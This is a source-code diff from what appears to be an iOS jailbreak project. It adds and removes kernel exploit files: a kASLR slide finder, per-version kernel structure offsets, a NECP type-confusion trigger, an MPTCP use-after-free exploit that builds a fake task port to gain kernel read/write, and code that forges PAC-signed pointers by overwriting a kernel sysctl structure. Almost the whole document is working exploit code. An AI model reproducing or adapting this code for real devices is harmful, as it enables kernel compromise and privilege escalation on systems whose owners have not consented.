base = base + ((address - base) / kernel_slide_step) * kernel_slide_step;
|
||||
// Now walk backwards from that kernel base one kernel slide at a time until we find the
|
||||
// real kernel base.
|
||||
while (base >= STATIC_ADDRESS(kernel_base)) {
|
||||
bool found = is_kernel_base(base);
|
||||
if (found) {
|
||||
kernel_slide = base - STATIC_ADDRESS(kernel_base);
|
||||
DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide);
|
||||
return true;
|
||||
}
|
||||
base -= kernel_slide_step;
|
||||
}
|
||||
ERROR("could not find kernel base");
|
||||
ERROR("could not determine kernel slide");
|
||||
return false;
|
||||
}
|
||||
@@ -1,38 +0,0 @@
|
||||
/*
|
||||
* kernel_slide.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__KERNEL_SLIDE_H_
|
||||
#define VOUCHER_SWAP__KERNEL_SLIDE_H_
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
* kernel_slide
|
||||
*
|
||||
* Description:
|
||||
* The kASLR slide.
|
||||
*/
|
||||
extern uint64_t kernel_slide;
|
||||
|
||||
/*
|
||||
* kernel_slide_init
|
||||
*
|
||||
* Description:
|
||||
* Find the value of the kernel slide using kernel_read() and current_task.
|
||||
*/
|
||||
bool kernel_slide_init(void);
|
||||
|
||||
/*
|
||||
* kernel_slide_init_with_kernel_image_address
|
||||
*
|
||||
* Description:
|
||||
* Find the value of the kernel slide using kernel_read(), starting with an address that is
|
||||
* known to reside within the kernel image.
|
||||
*/
|
||||
bool kernel_slide_init_with_kernel_image_address(uint64_t address);
|
||||
|
||||
#undef extern
|
||||
|
||||
#endif
|
||||
@@ -1,38 +0,0 @@
|
||||
/*
|
||||
* log.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#include "log.h"
|
||||
|
||||
#include <assert.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#import <common.h>
|
||||
|
||||
void
|
||||
log_internal(char type, const char *format, ...) {
|
||||
if (log_implementation != NULL) {
|
||||
va_list ap;
|
||||
va_start(ap, format);
|
||||
log_implementation(type, format, ap);
|
||||
va_end(ap);
|
||||
}
|
||||
}
|
||||
|
||||
// The default logging implementation prints to stderr with a nice hacker prefix.
|
||||
static void
|
||||
log_stderr(char type, const char *format, va_list ap) {
|
||||
char *message = NULL;
|
||||
vasprintf(&message, format, ap);
|
||||
assert(message != NULL);
|
||||
switch (type) {
|
||||
case 'D': type = 'D'; break;
|
||||
case 'I': type = '+'; break;
|
||||
case 'W': type = '!'; break;
|
||||
case 'E': type = '-'; break;
|
||||
}
|
||||
RAWLOG("[%c] %s\n", type, message);
|
||||
SafeFreeNULL(message);
|
||||
}
|
||||
|
||||
void (*log_implementation)(char type, const char *format, va_list ap) = log_stderr;
|
||||
@@ -1,57 +0,0 @@
|
||||
/*
|
||||
* log.h
|
||||
* Brandon Azad
|
||||
*/
|
||||
#ifndef VOUCHER_SWAP__LOG_H_
|
||||
#define VOUCHER_SWAP__LOG_H_
|
||||
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/*
|
||||
* log_implementation
|
||||
*
|
||||
* Description:
|
||||
* This is the log handler that will be executed when code wants to log a message. The default
|
||||
* implementation logs the message to stderr. Setting this value to NULL will disable all
|
||||
* logging. Specify a custom log handler to process log messages in another way.
|
||||
*
|
||||
* Parameters:
|
||||
* type A character representing the type of message that is being
|
||||
* logged.
|
||||
* format A printf-style format string describing the error message.
|
||||
* ap The variadic argument list for the format string.
|
||||
*
|
||||
* Log Type:
|
||||
* The type parameter is one of:
|
||||
* - D: Debug: Used for debugging messages. Set the DEBUG build variable to control debug
|
||||
* verbosity.
|
||||
* - I: Info: Used to convey general information about the exploit or its progress.
|
||||
* - W: Warning: Used to indicate that an unusual but possibly recoverable condition was
|
||||
* encountered.
|
||||
* - E: Error: Used to indicate that an unrecoverable error was encountered. The code
|
||||
* might continue running after an error was encountered, but it probably will
|
||||
* not succeed.
|
||||
*/
|
||||
extern void (*log_implementation)(char type, const char *format, va_list ap);
|
||||
|
||||
#define DEBUG_LEVEL(level) (DEBUG && level <= DEBUG)
|
||||
|
||||
#if DEBUG
|
||||
#define DEBUG_TRACE(level, fmt, ...) \
|
||||
do { \
|
||||
if (DEBUG_LEVEL(level)) { \
|
||||
log_internal('D', fmt, ##__VA_ARGS__); \
|
||||
} \
|
||||
} while (0)
|
||||
#else
|
||||
#define DEBUG_TRACE(level, fmt, ...) do {} while (0)
|
||||
#endif
|
||||
#define INFO(fmt, ...) log_internal('I', fmt, ##__VA_ARGS__)
|
||||
#define WARNING(fmt, ...) log_internal('W', fmt, ##__VA_ARGS__)
|
||||
#define ERROR(fmt, ...) log_internal('E', fmt, ##__VA_ARGS__)
|
||||
|
||||
// A function to call the logging implementation.
|
||||
void log_internal(char type, const char *format, ...) __printflike(2, 3);
|
||||
|
||||
#endif
|
||||
@@ -1,11 +0,0 @@
|
||||
#ifndef MACHSWAP2_PWN_H
|
||||
#define MACHSWAP2_PWN_H
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "common.h"
|
||||
#include "machswap_offsets.h"
|
||||
|
||||
kern_return_t machswap2_exploit(machswap_offsets_t *offsets);
|
||||
|
||||
#endif
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,102 +0,0 @@
|
||||
#ifndef MACHSWAP_OFFSETS_H
|
||||
#define MACHSWAP_OFFSETS_H
|
||||
|
||||
typedef struct {
|
||||
struct {
|
||||
/* strings kernel | grep 'Darwin' */
|
||||
const char *release;
|
||||
|
||||
cpu_type_t cpu_type;
|
||||
/* CPU_SUBTYPE for supported */
|
||||
cpu_subtype_t cpu_subtype;
|
||||
|
||||
/* basically will always be: 0xfffffff007004000 */
|
||||
uint64_t kernel_image_base;
|
||||
} constant;
|
||||
|
||||
struct {
|
||||
/*
|
||||
nm kernel | grep '_proc_pid'
|
||||
'ldr w0, [x0, #offset]
|
||||
*/
|
||||
uint32_t proc_pid;
|
||||
|
||||
/*
|
||||
nm kernel | grep '_proc_task'
|
||||
'ldr x0, [x0, #offset]
|
||||
*/
|
||||
uint32_t proc_task;
|
||||
|
||||
/*
|
||||
nm kernel | grep '_proc_ucred'
|
||||
'ldr x0, [x0, #offset]
|
||||
*/
|
||||
uint32_t proc_ucred;
|
||||
|
||||
/*
|
||||
nm kernel | grep '_get_task_map'
|
||||
'ldr x0, [x0, #offset]
|
||||
*/
|
||||
uint32_t task_vm_map;
|
||||
|
||||
/*
|
||||
nm kernel | grep '_get_bsdtask_info'
|
||||
'ld rx0, [x0, #offset]
|
||||
*/
|
||||
uint32_t task_bsd_info;
|
||||
|
||||
/*
|
||||
joker -m kernel | grep 'task_self_trap'
|
||||
go into 'bl' call
|
||||
near the start of the func, just after _lck_mtx_lock,
|
||||
it will load two values from a reg and compare them
|
||||
one is later loaded into x0, this is the one you *dont'* want
|
||||
you need the offset of the one which *isn't* later loaded into x0
|
||||
ldr xN, [xN, #offset]
|
||||
image: https://i.imgur.com/RlauIez.png
|
||||
*/
|
||||
uint32_t task_itk_self;
|
||||
|
||||
/*
|
||||
joker -m kernel | grep mach_ports_lookup
|
||||
about 1/3rd the way into the func it will load a value from a reg,
|
||||
call a function, and store the return value, 3 times in a row
|
||||
it will load from 3 offsets such as 0x2F0, 0x2F8, and 0x300 (notice they are all contiguous)
|
||||
the lowest of the three offsets is the one you want
|
||||
image: https://i.imgur.com/0M1mUSM.png
|
||||
(note the repeating pattern of 'ldr x0, [x20, #offset]', 'bl identical_func', 'str x0, [x21 #off]')
|
||||
*/
|
||||
uint32_t task_itk_registered;
|
||||
|
||||
/*
|
||||
joker -m kernel | grep 'task_info'
|
||||
about halfway down the func, just before a _task_deallocate call, it will
|
||||
load reg x0-x3, and then call a func
|
||||
within that func there is a jumptable, you need to find case 17 (TASK_DYLD_INFO)
|
||||
in here it will do two loads and stores, the first load is your _image_info_addr offset,
|
||||
the second is your _image_info_size offset (however this should be the _info_addr offset +0x8)
|
||||
image: https://i.imgur.com/WpG6Ub6.png
|
||||
*/
|
||||
uint32_t task_all_image_info_addr;
|
||||
uint32_t task_all_image_info_size;
|
||||
} struct_offsets;
|
||||
|
||||
struct {
|
||||
/*
|
||||
if IOSurface::create_surface fails, this offset being wrong is why
|
||||
you can find the offset manually, but it's usually either
|
||||
0x6c8 for 11.0.x, 0xbc8 for 11.1.x-11.4.x, or 0xdd0 for 12.x
|
||||
*/
|
||||
uint32_t create_outsize;
|
||||
|
||||
/*
|
||||
iometa -Csov IOUserClient kernel | grep 'getExternalTrapForIndex'
|
||||
take the index (usually 0x5b8) and divide by 0x8
|
||||
*/
|
||||
uint32_t get_external_trap_for_index;
|
||||
} iosurface;
|
||||
} machswap_offsets_t;
|
||||
|
||||
machswap_offsets_t *get_machswap_offsets(void);
|
||||
|
||||
#endif
|
||||
@@ -1,154 +0,0 @@
|
||||
#include <errno.h>
|
||||
#include <string.h> // strcmp, strerror
|
||||
#include <sys/utsname.h> // uname
|
||||
|
||||
#include "common.h" // LOG, kptr_t
|
||||
#include "machswap_offsets.h"
|
||||
|
||||
static machswap_offsets_t *machswap_offsets[] =
|
||||
{
|
||||
&(machswap_offsets_t)
|
||||
{
|
||||
.constant =
|
||||
{
|
||||
.release = "18.",
|
||||
.cpu_subtype = CPU_SUBTYPE_ARM64E,
|
||||
.kernel_image_base = 0xfffffff007004000,
|
||||
},
|
||||
.struct_offsets =
|
||||
{
|
||||
.proc_pid = 0x60,
|
||||
.proc_task = 0x10,
|
||||
.proc_ucred = 0xf8,
|
||||
.task_vm_map = 0x20,
|
||||
.task_bsd_info = 0x368,
|
||||
.task_itk_self = 0xd8,
|
||||
.task_itk_registered = 0x2e8,
|
||||
.task_all_image_info_addr = 0x3a8,
|
||||
.task_all_image_info_size = 0x3b0,
|
||||
},
|
||||
.iosurface =
|
||||
{
|
||||
.create_outsize = 0xdd0,
|
||||
.get_external_trap_for_index = 0xb7,
|
||||
},
|
||||
},
|
||||
&(machswap_offsets_t)
|
||||
{
|
||||
.constant =
|
||||
{
|
||||
.release = "18.",
|
||||
.cpu_subtype = CPU_SUBTYPE_ARM64_V8,
|
||||
.kernel_image_base = 0xfffffff007004000,
|
||||
},
|
||||
.struct_offsets =
|
||||
{
|
||||
.proc_pid = 0x60,
|
||||
.proc_task = 0x10,
|
||||
.proc_ucred = 0xf8,
|
||||
.task_vm_map = 0x20,
|
||||
.task_bsd_info = 0x358,
|
||||
.task_itk_self = 0xd8,
|
||||
.task_itk_registered = 0x2e8,
|
||||
.task_all_image_info_addr = 0x398,
|
||||
.task_all_image_info_size = 0x3a0,
|
||||
},
|
||||
.iosurface =
|
||||
{
|
||||
.create_outsize = 0xdd0,
|
||||
.get_external_trap_for_index = 0xb7,
|
||||
},
|
||||
},
|
||||
&(machswap_offsets_t)
|
||||
{
|
||||
.constant =
|
||||
{
|
||||
.release = "17.",
|
||||
.cpu_subtype = CPU_SUBTYPE_ARM_ALL,
|
||||
.kernel_image_base = 0xfffffff007004000,
|
||||
},
|
||||
.struct_offsets =
|
||||
{
|
||||
.proc_pid = 0x10,
|
||||
.proc_task = 0x18,
|
||||
.proc_ucred = 0x100,
|
||||
.task_vm_map = 0x20,
|
||||
.task_bsd_info = 0x368,
|
||||
.task_itk_self = 0xd8,
|
||||
.task_itk_registered = 0x2f0,
|
||||
.task_all_image_info_addr = 0x3a8,
|
||||
.task_all_image_info_size = 0x3b0,
|
||||
},
|
||||
.iosurface =
|
||||
{
|
||||
.create_outsize = 0xbc8,
|
||||
.get_external_trap_for_index = 0xb7,
|
||||
},
|
||||
},
|
||||
NULL,
|
||||
};
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <mach/machine.h>
|
||||
|
||||
machswap_offsets_t *get_machswap_offsets(void)
|
||||
{
|
||||
size_t size;
|
||||
cpu_type_t cpu_type;
|
||||
size = sizeof(cpu_type_t);
|
||||
if (sysctlbyname("hw.cputype", &cpu_type, &size, NULL, 0) == -1) {
|
||||
LOG("hw.cputype: %s", strerror(errno));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
cpu_subtype_t cpu_subtype;
|
||||
size = sizeof(cpu_subtype_t);
|
||||
if (sysctlbyname("hw.cpusubtype", &cpu_subtype, &size, NULL, 0) == -1) {
|
||||
LOG("hw.cpusubtype: %s", strerror(errno));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int ctl[2];
|
||||
ctl[0] = CTL_KERN;
|
||||
ctl[1] = KERN_OSRELEASE;
|
||||
|
||||
if (sysctl(ctl, 2, NULL, &size, NULL, 0) == -1 && errno != ENOMEM) {
|
||||
LOG("kern.osrelease: %s", strerror(errno));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char release[size];
|
||||
if (sysctl(ctl, 2, release, &size, NULL, 0) == -1) {
|
||||
LOG("kern.osrelease: %s", strerror(errno));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
for (size_t i = 0; machswap_offsets[i] != 0; ++i)
|
||||
{
|
||||
if (strncmp(machswap_offsets[i]->constant.release, release, strlen(machswap_offsets[i]->constant.release)) == 0)
|
||||
{
|
||||
if (machswap_offsets[i]->constant.cpu_subtype == cpu_subtype ||
|
||||
machswap_offsets[i]->constant.cpu_subtype == CPU_SUBTYPE_ARM_ALL) {
|
||||
return machswap_offsets[i];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ctl[1] = KERN_VERSION;
|
||||
|
||||
if (sysctl(ctl, 2, NULL, &size, NULL, 0) == -1 && errno != ENOMEM) {
|
||||
LOG("kern.version: %s", strerror(errno));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
char version[size];
|
||||
if (sysctl(ctl, 2, version, &size, NULL, 0) == -1) {
|
||||
LOG("kern.version: %s", strerror(errno));
|
||||
return NULL;
|
||||
}
|
||||
|
||||
LOG("Failed to get offsets for kernel version: %s", version);
|
||||
return NULL;
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
#ifndef MACHSWAP_PWN_H
|
||||
#define MACHSWAP_PWN_H
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "common.h"
|
||||
#include "machswap_offsets.h"
|
||||
|
||||
kern_return_t machswap_exploit(machswap_offsets_t *offsets);
|
||||
|
||||
#endif
|
||||
File diff suppressed because it is too large
Load Diff
@@ -14,7 +14,7 @@
|
||||
#include <pthread.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include <common.h>
|
||||
|
||||
@@ -38,7 +38,7 @@ kern_return_t mach_vm_read_overwrite(
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t* outsize);
|
||||
|
||||
static void increase_limits()
|
||||
void increase_limits()
|
||||
{
|
||||
struct rlimit lim = { 0 };
|
||||
int err = getrlimit(RLIMIT_NOFILE, &lim);
|
||||
@@ -66,7 +66,7 @@ static void increase_limits()
|
||||
}
|
||||
|
||||
#define AF_MULTIPATH 39
|
||||
static int alloc_mptcp_socket()
|
||||
int alloc_mptcp_socket()
|
||||
{
|
||||
int sock = socket(AF_MULTIPATH, SOCK_STREAM, 0);
|
||||
if (sock < 0) {
|
||||
@@ -77,7 +77,7 @@ static int alloc_mptcp_socket()
|
||||
return sock;
|
||||
}
|
||||
|
||||
static void do_partial_kfree_with_socket(int fd, uint64_t kaddr, uint32_t n_bytes)
|
||||
void do_partial_kfree_with_socket(int fd, uint64_t kaddr, uint32_t n_bytes)
|
||||
{
|
||||
struct sockaddr* sockaddr_src = malloc(256);
|
||||
memset(sockaddr_src, 'D', 256);
|
||||
@@ -116,15 +116,15 @@ static void do_partial_kfree_with_socket(int fd, uint64_t kaddr, uint32_t n_byte
|
||||
return;
|
||||
}
|
||||
|
||||
static char* aaaas = NULL;
|
||||
char* aaaas = NULL;
|
||||
|
||||
static int read_fds[10000] = { 0 };
|
||||
static int write_fds[10000] = { 0 };
|
||||
static int next_read_fd = 0;
|
||||
int read_fds[10000] = { 0 };
|
||||
int write_fds[10000] = { 0 };
|
||||
int next_read_fd = 0;
|
||||
|
||||
#define PIPE_SIZE 0x7ff
|
||||
|
||||
static int alloc_and_fill_pipe()
|
||||
int alloc_and_fill_pipe()
|
||||
{
|
||||
int fds[2] = { 0 };
|
||||
int err = pipe(fds);
|
||||
@@ -155,7 +155,7 @@ static int alloc_and_fill_pipe()
|
||||
return read_end; // the buffer is actually hanging off the read end struct pipe
|
||||
}
|
||||
|
||||
static int find_replacer_pipe(void** contents)
|
||||
int find_replacer_pipe(void** contents)
|
||||
{
|
||||
uint64_t* read_back = malloc(PIPE_SIZE);
|
||||
for (int i = 0; i < next_read_fd; i++) {
|
||||
@@ -183,7 +183,7 @@ static int find_replacer_pipe(void** contents)
|
||||
return -1;
|
||||
}
|
||||
|
||||
static mach_port_t fake_kalloc(int size)
|
||||
mach_port_t fake_kalloc(int size)
|
||||
{
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
@@ -221,7 +221,7 @@ static mach_port_t fake_kalloc(int size)
|
||||
return port;
|
||||
}
|
||||
|
||||
static void fake_kfree(mach_port_t port)
|
||||
void fake_kfree(mach_port_t port)
|
||||
{
|
||||
mach_port_destroy(mach_task_self(), port);
|
||||
}
|
||||
@@ -276,7 +276,7 @@ static void build_fake_task_port(uint8_t* fake_port, uint64_t fake_port_kaddr, u
|
||||
*/
|
||||
|
||||
// size is desired kalloc size for message
|
||||
static mach_port_t prealloc_port(natural_t size)
|
||||
mach_port_t prealloc_port(natural_t size)
|
||||
{
|
||||
kern_return_t err;
|
||||
mach_port_qos_t qos = { 0 };
|
||||
@@ -299,9 +299,9 @@ static mach_port_t prealloc_port(natural_t size)
|
||||
return (mach_port_t)name;
|
||||
}
|
||||
|
||||
static mach_port_t extracted_thread_port = MACH_PORT_NULL;
|
||||
mach_port_t extracted_thread_port = MACH_PORT_NULL;
|
||||
|
||||
static kern_return_t catch_exception_raise_state_identity(
|
||||
kern_return_t catch_exception_raise_state_identity(
|
||||
mach_port_t exception_port,
|
||||
mach_port_t thread,
|
||||
mach_port_t task,
|
||||
@@ -329,11 +329,7 @@ static kern_return_t catch_exception_raise_state_identity(
|
||||
|
||||
*new_stateCnt = old_stateCnt;
|
||||
|
||||
#if __DARWIN_OPAQUE_ARM_THREAD_STATE64
|
||||
new->__opaque_pc = (uint64_t)pthread_exit;
|
||||
#else
|
||||
new->__pc = (uint64_t)pthread_exit;
|
||||
#endif
|
||||
new->__x[0] = 0;
|
||||
|
||||
// let the thread resume and exit
|
||||
@@ -347,28 +343,24 @@ union max_msg {
|
||||
|
||||
extern boolean_t exc_server(mach_msg_header_t* InHeadP, mach_msg_header_t* OutHeadP);
|
||||
|
||||
static void* do_thread(void* arg)
|
||||
void* do_thread(void* arg)
|
||||
{
|
||||
mach_port_t exception_port = (mach_port_t)arg;
|
||||
|
||||
kern_return_t err;
|
||||
thread_t thread = mach_thread_self();
|
||||
err = thread_set_exception_ports(
|
||||
thread,
|
||||
mach_thread_self(),
|
||||
EXC_MASK_ALL,
|
||||
exception_port,
|
||||
EXCEPTION_STATE_IDENTITY, // catch_exception_raise_state_identity messages
|
||||
ARM_THREAD_STATE64);
|
||||
mach_port_deallocate(mach_task_self(), thread);
|
||||
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to set exception port");
|
||||
}
|
||||
|
||||
// make the thread port which gets sent in the message actually be the host port
|
||||
host_t host = mach_host_self();
|
||||
err = thread_set_special_port(host, THREAD_KERNEL_PORT, host);
|
||||
mach_port_deallocate(mach_task_self(), host);
|
||||
err = thread_set_special_port(mach_thread_self(), THREAD_KERNEL_PORT, mach_host_self());
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to set THREAD_KERNEL_PORT");
|
||||
}
|
||||
@@ -380,12 +372,12 @@ static void* do_thread(void* arg)
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void prepare_prealloc_port(mach_port_t port)
|
||||
void prepare_prealloc_port(mach_port_t port)
|
||||
{
|
||||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
}
|
||||
|
||||
static int port_has_message(mach_port_t port)
|
||||
int port_has_message(mach_port_t port)
|
||||
{
|
||||
kern_return_t err;
|
||||
mach_port_seqno_t msg_seqno = 0;
|
||||
@@ -406,7 +398,7 @@ static int port_has_message(mach_port_t port)
|
||||
}
|
||||
|
||||
// we need a send right for port
|
||||
static void send_prealloc_msg(mach_port_t port)
|
||||
void send_prealloc_msg(mach_port_t port)
|
||||
{
|
||||
// start a new thread passing it the buffer and the exception port
|
||||
pthread_t t;
|
||||
@@ -428,7 +420,7 @@ static void send_prealloc_msg(mach_port_t port)
|
||||
|
||||
// receive the exception message on the port and extract the thread port
|
||||
// which we will have overwritten with a pointer to the initial kernel r/w port
|
||||
static mach_port_t receive_prealloc_msg(mach_port_t port)
|
||||
mach_port_t receive_prealloc_msg(mach_port_t port)
|
||||
{
|
||||
kern_return_t err = mach_msg_server_once(exc_server,
|
||||
sizeof(union max_msg),
|
||||
@@ -445,9 +437,9 @@ static mach_port_t receive_prealloc_msg(mach_port_t port)
|
||||
return extracted_thread_port;
|
||||
}
|
||||
|
||||
static uint64_t early_read_pipe_buffer_kaddr;
|
||||
static int early_read_pipe_read_end;
|
||||
static int early_read_pipe_write_end;
|
||||
uint64_t early_read_pipe_buffer_kaddr;
|
||||
int early_read_pipe_read_end;
|
||||
int early_read_pipe_write_end;
|
||||
static mach_port_t early_read_port;
|
||||
|
||||
static mach_port_t prepare_early_read_primitive(uint64_t pipe_buffer_kaddr, int pipe_read_end, int pipe_write_end, mach_port_t replacer_port, uint8_t* original_contents)
|
||||
@@ -503,7 +495,7 @@ static uint32_t early_rk32(uint64_t kaddr)
|
||||
LOG("pid_for_task returned %x", err);
|
||||
}
|
||||
LOG("read val via pid_for_task: %08x", val);
|
||||
SafeFreeNULL(pipe_contents);
|
||||
free(pipe_contents);
|
||||
return val;
|
||||
}
|
||||
|
||||
@@ -517,7 +509,7 @@ static uint64_t early_rk64(uint64_t kaddr)
|
||||
|
||||
// yes, this isn't the real kernel task port
|
||||
// but you can modify the exploit easily to give you that if you want it!
|
||||
static mach_port_t prepare_tfp0(uint64_t vm_map, uint64_t receiver)
|
||||
mach_port_t prepare_tfp0(uint64_t vm_map, uint64_t receiver)
|
||||
{
|
||||
uint8_t* pipe_contents = malloc(PIPE_SIZE);
|
||||
ssize_t amount = read(early_read_pipe_read_end, pipe_contents, PIPE_SIZE);
|
||||
@@ -533,7 +525,7 @@ static mach_port_t prepare_tfp0(uint64_t vm_map, uint64_t receiver)
|
||||
// replace the ipc_kmsg:
|
||||
write(early_read_pipe_write_end, pipe_contents, PIPE_SIZE);
|
||||
|
||||
SafeFreeNULL(pipe_contents);
|
||||
free(pipe_contents);
|
||||
|
||||
// early_read_port is no longer only capable of reads!
|
||||
return early_read_port;
|
||||
@@ -541,6 +533,8 @@ static mach_port_t prepare_tfp0(uint64_t vm_map, uint64_t receiver)
|
||||
|
||||
bool mptcp_go()
|
||||
{
|
||||
offsets_init();
|
||||
|
||||
// increase the limit on the number of open files:
|
||||
increase_limits();
|
||||
|
||||
@@ -723,7 +717,7 @@ bool mptcp_go()
|
||||
uint64_t host_port_kaddr = *((uint64_t*)(new_contents + 0x66c));
|
||||
|
||||
// we can also find our task port kaddr:
|
||||
uint64_t task_port_kaddr = cached_task_self_addr = *((uint64_t*)(new_contents + 0x67c));
|
||||
uint64_t task_port_kaddr = *((uint64_t*)(new_contents + 0x67c));
|
||||
|
||||
mach_port_t kport = prepare_early_read_primitive(pipe_buf, replacer_pipe, replacer_pipe + 1, replacer_port, new_contents);
|
||||
|
||||
|
||||
@@ -1,16 +0,0 @@
|
||||
#include "necp.h"
|
||||
#include <sys/syscall.h>
|
||||
#include <common.h>
|
||||
|
||||
// https://blogs.projectmoon.pw/2018/11/30/A-Late-Kernel-Bug-Type-Confusion-in-NECP/NECPTypeConfusion.c
|
||||
|
||||
int necp_die() {
|
||||
int necp_fd = syscall(SYS_necp_open, 0);
|
||||
if (necp_fd < 0) {
|
||||
LOG("Create NECP client failed!");
|
||||
return 0;
|
||||
}
|
||||
LOG("NECP client = %d", necp_fd);
|
||||
syscall(SYS_necp_session_action, necp_fd, 1, 0x1234, 0x5678);
|
||||
return 0;
|
||||
}
|
||||
@@ -1,8 +0,0 @@
|
||||
#ifndef necp_h
|
||||
#define necp_h
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
int necp_die(void);
|
||||
|
||||
#endif /* necp_h */
|
||||
@@ -1,272 +0,0 @@
|
||||
/*
|
||||
* kernel_call/pac.c
|
||||
* Brandon Azad
|
||||
*/
|
||||
#include "pac.h"
|
||||
|
||||
#include "kernel_call.h"
|
||||
#include "kc_parameters.h"
|
||||
#include "user_client.h"
|
||||
#include "kernel_memory.h"
|
||||
#include "log.h"
|
||||
#include "mach_vm.h"
|
||||
#include "parameters.h"
|
||||
|
||||
#if __arm64e__
|
||||
|
||||
// ---- Global variables --------------------------------------------------------------------------
|
||||
|
||||
// The address of our kernel buffer.
|
||||
static uint64_t kernel_pacxa_buffer;
|
||||
|
||||
// The forged value PACIZA('mov x0, x4 ; br x5').
|
||||
static uint64_t paciza__mov_x0_x4__br_x5;
|
||||
|
||||
// ---- Stage 2 -----------------------------------------------------------------------------------
|
||||
|
||||
/*
|
||||
* stage1_kernel_call_7
|
||||
*
|
||||
* Description:
|
||||
* Call a kernel function using our stage 1 execute primitive with explicit registers.
|
||||
*
|
||||
* See stage1_kernel_call_7v.
|
||||
*/
|
||||
static uint32_t
|
||||
stage1_kernel_call_7(uint64_t function, uint64_t x1, uint64_t x2, uint64_t x3,
|
||||
uint64_t x4, uint64_t x5, uint64_t x6) {
|
||||
uint64_t arguments[7] = { 1, x1, x2, x3, x4, x5, x6 };
|
||||
return stage1_kernel_call_7v(function, 7, arguments);
|
||||
}
|
||||
|
||||
/*
|
||||
* stage1_init_kernel_pacxa_forging
|
||||
*
|
||||
* Description:
|
||||
* Initialize our stage 1 capability to forge PACIA and PACDA pointers.
|
||||
*/
|
||||
static void
|
||||
stage1_init_kernel_pacxa_forging() {
|
||||
// Get the authorized pointers to l2tp_domain_module_start() and l2tp_domain_module_stop().
|
||||
// Because these values already contain the PACIZA code, we can call them with the stage 0
|
||||
// call primitive to start/stop the module.
|
||||
uint64_t paciza__l2tp_domain_module_start = kernel_read64(
|
||||
ADDRESS(paciza_pointer__l2tp_domain_module_start));
|
||||
uint64_t paciza__l2tp_domain_module_stop = kernel_read64(
|
||||
ADDRESS(paciza_pointer__l2tp_domain_module_stop));
|
||||
|
||||
// Read out the original value of sysctl__net_ppp_l2tp__data.
|
||||
uint8_t sysctl__net_ppp_l2tp__data[SIZE(sysctl_oid)];
|
||||
kernel_read(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid));
|
||||
|
||||
// Create a fake sysctl_oid for sysctl_unregister_oid(). We craft this sysctl_oid such that
|
||||
// sysctl_unregister_oid() will execute the following instruction sequence:
|
||||
//
|
||||
// LDR X10, [X9,#0x30]! ; X10 = old_oidp->oid_handler
|
||||
// CBNZ X19, loc_FFFFFFF007EBD330
|
||||
// CBZ X10, loc_FFFFFFF007EBD330
|
||||
// MOV X19, #0
|
||||
// MOV X11, X9 ; X11 = &old_oidp->oid_handler
|
||||
// MOVK X11, #0x14EF,LSL#48 ; X11 = 14EF`&oid_handler
|
||||
// AUTIA X10, X11 ; X10 = AUTIA(handler, 14EF`&handler)
|
||||
// PACIZA X10 ; X10 = PACIZA(X10)
|
||||
// STR X10, [X9] ; old_oidp->oid_handler = X10
|
||||
//
|
||||
uint8_t fake_sysctl_oid[SIZE(sysctl_oid)];
|
||||
memset(fake_sysctl_oid, 0xab, SIZE(sysctl_oid));
|
||||
FIELD(fake_sysctl_oid, sysctl_oid, oid_parent, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_link);
|
||||
FIELD(fake_sysctl_oid, sysctl_oid, oid_link, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp);
|
||||
FIELD(fake_sysctl_oid, sysctl_oid, oid_kind, uint32_t) = 0x400000;
|
||||
FIELD(fake_sysctl_oid, sysctl_oid, oid_handler, uint64_t) = ADDRESS(mov_x0_x4__br_x5);
|
||||
FIELD(fake_sysctl_oid, sysctl_oid, oid_version, uint32_t) = 1;
|
||||
FIELD(fake_sysctl_oid, sysctl_oid, oid_refcnt, uint32_t) = 0;
|
||||
|
||||
// Overwrite sysctl__net_ppp_l2tp with our fake sysctl_oid.
|
||||
kernel_write(ADDRESS(sysctl__net_ppp_l2tp), fake_sysctl_oid, SIZE(sysctl_oid));
|
||||
|
||||
// Call l2tp_domain_module_stop() to trigger sysctl_unregister_oid() on our fake
|
||||
// sysctl_oid, which will PACIZA our pointer to the "mov x0, x4 ; br x5" gadget.
|
||||
__unused uint32_t ret;
|
||||
ret = stage1_kernel_call_7(
|
||||
paciza__l2tp_domain_module_stop, // PC
|
||||
0, 0, 0, 0, 0, 0); // X1 - X6
|
||||
DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d",
|
||||
"l2tp_domain_module_stop", ret,
|
||||
kernel_read32(ADDRESS(l2tp_domain_inited)));
|
||||
|
||||
// Read back the PACIZA'd pointer to the 'mov x0, x4 ; br x5' gadget. This pointer will not
|
||||
